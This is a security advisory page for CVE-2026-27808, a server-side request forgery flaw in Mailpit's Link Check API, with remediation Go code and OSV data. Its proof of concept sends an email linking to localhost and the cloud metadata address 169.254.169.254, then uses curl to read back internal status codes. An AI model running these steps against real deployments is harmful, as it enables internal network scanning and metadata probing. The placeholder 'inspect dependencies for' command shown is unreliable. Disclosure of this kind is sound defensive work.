CVE-2026-27808: Github.com/axllent/mailpit Mailpit Is Vulnerable To Server-Side Vulnerability

MODERATE
Advisory Identifier: GHSA-mpf7-p9x7-96r3
CVSS 5.8
CWE-918
Published
Advisory Summary

CVE-2026-27808 is a MODERATE (CVSS 5.8) mailpit is vulnerable to server-side vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/axllent/mailpit libraries in the Go ecosystem. The issue involves mailpit is vulnerable to server-side request forgery (ssrf) via link check api. Remediation is available by upgrading affected packages to version 1.29.2.

CVE-2026-27808 at a Glance

CVE Identifier CVE-2026-27808
GHSA Identifier GHSA-mpf7-p9x7-96r3
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/axllent/mailpit
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-27808

To remediate this vulnerability, upgrade all affected Github.com/axllent/mailpit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/axllent/mailpit fixed: 1.29.2
Upgrade github.com/axllent/mailpit to 1.29.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/axllent/mailpit

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27808, inspect your project dependencies for Github.com/axllent/mailpit:

inspect dependencies for github.com/axllent/mailpit

Analyze the terminal output to locate any version of Github.com/axllent/mailpit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.29.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/axllent/mailpit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction. This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix. ### Details The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation: ``` func doHead(link string, followRedirects bool) (int, error) { timeout := time.Duration(10 * time.Second) tr := &http.Transport{} // ... client := http.Client{ Timeout: timeout, Transport: tr, // ... } req, err := http.NewRequest("HEAD", link, nil) // ... res, err := client.Do(req) // No IP validation — requests any URL return res.StatusCode, nil } ``` The call chain is: 1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84 2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16 3. Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14 4. Which spawns goroutines calling doHead() for each URL with no filtering There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10). ### PoC Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service. Step 1 — Start a listener to prove the SSRF: ` python3 -m http.server 8081 --bind 127.0.0.1 ` Step 2 — Send a crafted email via SMTP: ``` swaks --to recipient@example.com \ --from attacker@example.com \ --server localhost:1025 \ --header "Content-Type: text/html" \ --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>' ``` Step 3 — Get the message ID: ` curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID' ` Or use the shorthand ID latest. Step 4 — Trigger the link check: ` curl -s http://localhost:8025/api/v1/message/latest/link-check | jq . ` Expected result: - The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit. - The API response contains the status code and status text for each internal target: ``` { "Errors": 0, "Links": [ {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"}, {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"} ] } ``` -- This behavior can be identified by creating a email txt file as ``` cat email.txt > From: sender@example.com To: recipient@example.com Subject: Email Subject This is the body of the email. It can contain multiple lines of text. http://localhost:8408 ``` - Start a Python server on port 8408 - execute the command `mailpit sendmail < email.txt ` - Observe a request to your python server and link status on the UI as OK The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning ### Impact Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication. What an attacker can do: - Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK). - Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes. - Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior. - Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker. This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference. ### Remediation Then standard Go library can be used to identify a local address being requested and deny it. ``` func isBlockedIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() } - IsLoopback() — 127.0.0.0/8, ::1 - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7 - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254) - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16 - IsUnspecified() — 0.0.0.0, :: - IsMulticast() — 224.0.0.0/4, ff00::/8 ``` And the safe dialer that uses it: ``` func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) { return func(ctx context.Context, network, address string) (net.Conn, error) { host, port, err := net.SplitHostPort(address) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if isBlockedIP(ip.IP) { return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip. } } return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port)) } } ``` Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops: ``` func doHead(link string, followRedirects bool) (int, error) { if !isValidLinkURL(link) { return 0, fmt.Errorf("invalid URL: %s", link) } dialer := &net.Dialer{ Timeout: 5 * time.Second, KeepAlive: 30 * time.Second, } tr := &http.Transport{ DialContext: safeDialContext(dialer), } if config.AllowUntrustedTLS { tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec } client := http.Client{ Timeout: 10 * time.Second, Transport: tr, CheckRedirect: func(req *http.Request, via []*http.Request) error { if len(via) >= 3 { return errors.New("too many redirects") } if !followRedirects { return http.ErrUseLastResponse } if !isValidLinkURL(req.URL.String()) { return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL) } return nil }, } req, err := http.NewRequest("HEAD", link, nil) if err != nil { logger.Log().Errorf("[link-check] %s", err.Error()) return 0, err } req.Header.Set("User-Agent", "Mailpit/"+config.Version) res, err := client.Do(req) if err != nil { if res != nil { return res.StatusCode, err } return 0, err } return res.StatusCode, nil } func isValidLinkURL(str string) bool { u, err := url.Parse(str) return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" } ``` This fix should mitigate the reported SSRF.

CVE-2026-27808 Affected Github.com/axllent/mailpit Versions

1 component(s)
Fixed Versions:
1.29.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/axllent/mailpit
Go
< 1.29.2
1.29.2

References

Frequently Asked Questions

What is CVE-2026-27808?
CVE-2026-27808 is a security vulnerability in Github.com/axllent/mailpit involving Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/axllent/mailpit versions are affected?
Affected versions include releases prior to 1.29.2 across affected packages: github.com/axllent/mailpit.
What version fixes CVE-2026-27808?
Upgrading to 1.29.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/axllent/mailpit affected?
Yes, github.com/axllent/mailpit is affected in releases prior to 1.29.2. Upgrade your dependency to 1.29.2 or later.
What is the CVSS score of CVE-2026-27808?
CVE-2026-27808 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-27808?
CVE-2026-27808 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-27808?
Run the dependency tree command: 'inspect dependencies for github.com/axllent/mailpit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mpf7-p9x7-96r3",
  "modified" : "2026-02-26T15:18:46Z",
  "published" : "2026-02-26T15:18:46Z",
  "aliases" : [ "CVE-2026-27808" ],
  "summary" : "Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API",
  "details" : "### Summary\nThe Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.\n\nThis is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the\nscreenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.\n\n### Details\nThe doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:\n\n```\n  func doHead(link string, followRedirects bool) (int, error) {\n      timeout := time.Duration(10 * time.Second)\n      tr := &http.Transport{}\n      // ...\n      client := http.Client{\n          Timeout:   timeout,\n          Transport: tr,\n          // ...\n      }\n      req, err := http.NewRequest(\"HEAD\", link, nil)\n      // ...\n      res, err := client.Do(req)  // No IP validation — requests any URL\n      return res.StatusCode, nil\n  }\n```\n\n  The call chain is:\n\n  1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in\n  https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84\n  2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16\n  3. Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to\n  getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14\n  4. Which spawns goroutines calling doHead() for each URL with no filtering\n\n  There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12,\n  192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).\n  \n### PoC\nPrerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.\n\n Step 1 — Start a listener to prove the SSRF:\n\n`  python3 -m http.server 8081 --bind 127.0.0.1\n`\n\n Step 2 — Send a crafted email via SMTP:\n\n```\n  swaks --to recipient@example.com \\\n        --from attacker@example.com \\\n        --server localhost:1025 \\\n        --header \"Content-Type: text/html\" \\\n        --body '<html><body><a href=\"http://127.0.0.1:8081/ssrf-proof\">click</a><a\n  href=\"http://169.254.169.254/latest/meta-data/\">metadata</a></body></html>'\n```\n\n Step 3 — Get the message ID:\n\n`  curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'\n`\n  Or use the shorthand ID latest.\n\nStep 4 — Trigger the link check:\n\n`  curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .\n`\n \nExpected result:\n\n  - The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.\n  - The API response contains the status code and status text for each internal target:\n\n```\n  {\n    \"Errors\": 0,\n    \"Links\": [\n      {\"URL\": \"http://127.0.0.1:8081/ssrf-proof\", \"StatusCode\": 200, \"Status\": \"OK\"},\n      {\"URL\": \"http://169.254.169.254/latest/meta-data/\", \"StatusCode\": 200, \"Status\": \"OK\"}\n    ]\n  }\n```\n\n\n-- This behavior can be identified by creating a email txt file as \n\n```\ncat email.txt > \nFrom: sender@example.com\nTo: recipient@example.com\nSubject: Email Subject\n\nThis is the body of the email.\nIt can contain multiple lines of text.\nhttp://localhost:8408\n```\n\n- Start a Python server on port 8408\n\n- execute the command `mailpit sendmail < email.txt ` \n\n- Observe a request to your python server and link status on the UI as OK\n\n\n The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning\n\n### Impact\nWho is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.\n\n  What an attacker can do:\n\n  - Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages\n  (connection refused vs. timeout vs. 200 OK).\n  - Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.\n  - Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.\n  - Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.\n\n  This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making\n  exploitation straightforward without any timing or side-channel inference.\n\n### Remediation\nThen standard Go library can be used to identify a local address being requested and deny it.   \n\n```\nfunc isBlockedIP(ip net.IP) bool {\n        return ip.IsLoopback() ||\n                ip.IsPrivate() ||\n                ip.IsLinkLocalUnicast() ||\n                ip.IsLinkLocalMulticast() ||\n                ip.IsUnspecified() ||\n                ip.IsMulticast()\n  }\n\n  - IsLoopback() — 127.0.0.0/8, ::1\n  - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7\n  - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)\n  - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16\n  - IsUnspecified() — 0.0.0.0, ::\n  - IsMulticast() — 224.0.0.0/4, ff00::/8\n```\n\n  And the safe dialer that uses it:\n\n``` \n func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {\n        return func(ctx context.Context, network, address string) (net.Conn, error) {\n                host, port, err := net.SplitHostPort(address)\n                if err != nil {\n                        return nil, err\n                }\n\n                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n                if err != nil {\n                        return nil, err\n                }\n\n                for _, ip := range ips {\n                        if isBlockedIP(ip.IP) {\n                                return nil, fmt.Errorf(\"blocked request to private/reserved address: %s (%s)\", host, ip.\n                        }\n                }\n\n                return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n        }\n  }\n```\n\n  Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on\n  redirect hops:\n\n```\n  func doHead(link string, followRedirects bool) (int, error) {\n        if !isValidLinkURL(link) {\n                return 0, fmt.Errorf(\"invalid URL: %s\", link)\n        }\n\n        dialer := &net.Dialer{\n                Timeout:   5 * time.Second,\n                KeepAlive: 30 * time.Second,\n        }\n\n        tr := &http.Transport{\n                DialContext: safeDialContext(dialer),\n        }\n\n        if config.AllowUntrustedTLS {\n                tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec\n        }\n\n        client := http.Client{\n                Timeout:   10 * time.Second,\n                Transport: tr,\n                CheckRedirect: func(req *http.Request, via []*http.Request) error {\n                        if len(via) >= 3 {\n                                return errors.New(\"too many redirects\")\n                        }\n                        if !followRedirects {\n                                return http.ErrUseLastResponse\n                        }\n                        if !isValidLinkURL(req.URL.String()) {\n                                return fmt.Errorf(\"blocked redirect to invalid URL: %s\", req.URL)\n                        }\n                        return nil\n                },\n        }\n\n        req, err := http.NewRequest(\"HEAD\", link, nil)\n        if err != nil {\n                logger.Log().Errorf(\"[link-check] %s\", err.Error())\n                return 0, err\n        }\n\n        req.Header.Set(\"User-Agent\", \"Mailpit/\"+config.Version)\n\n        res, err := client.Do(req)\n        if err != nil {\n                if res != nil {\n                        return res.StatusCode, err\n                }\n                return 0, err\n        }\n\n        return res.StatusCode, nil\n  }\n\n  func isValidLinkURL(str string) bool {\n        u, err := url.Parse(str)\n        return err == nil && (u.Scheme == \"http\" || u.Scheme == \"https\") && u.Hostname() != \"\"\n  }\n\n```\nThis fix should mitigate the reported SSRF.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/axllent/mailpit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.29.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27808"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axllent/mailpit/commit/10ad4df8cc0cd9e51dea1b4410009545eef7fbf5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/axllent/mailpit"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axllent/mailpit/releases/tag/v1.29.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-26T15:18:46Z",
    "nvd_published_at" : "2026-02-26T00:16:26Z"
  }
}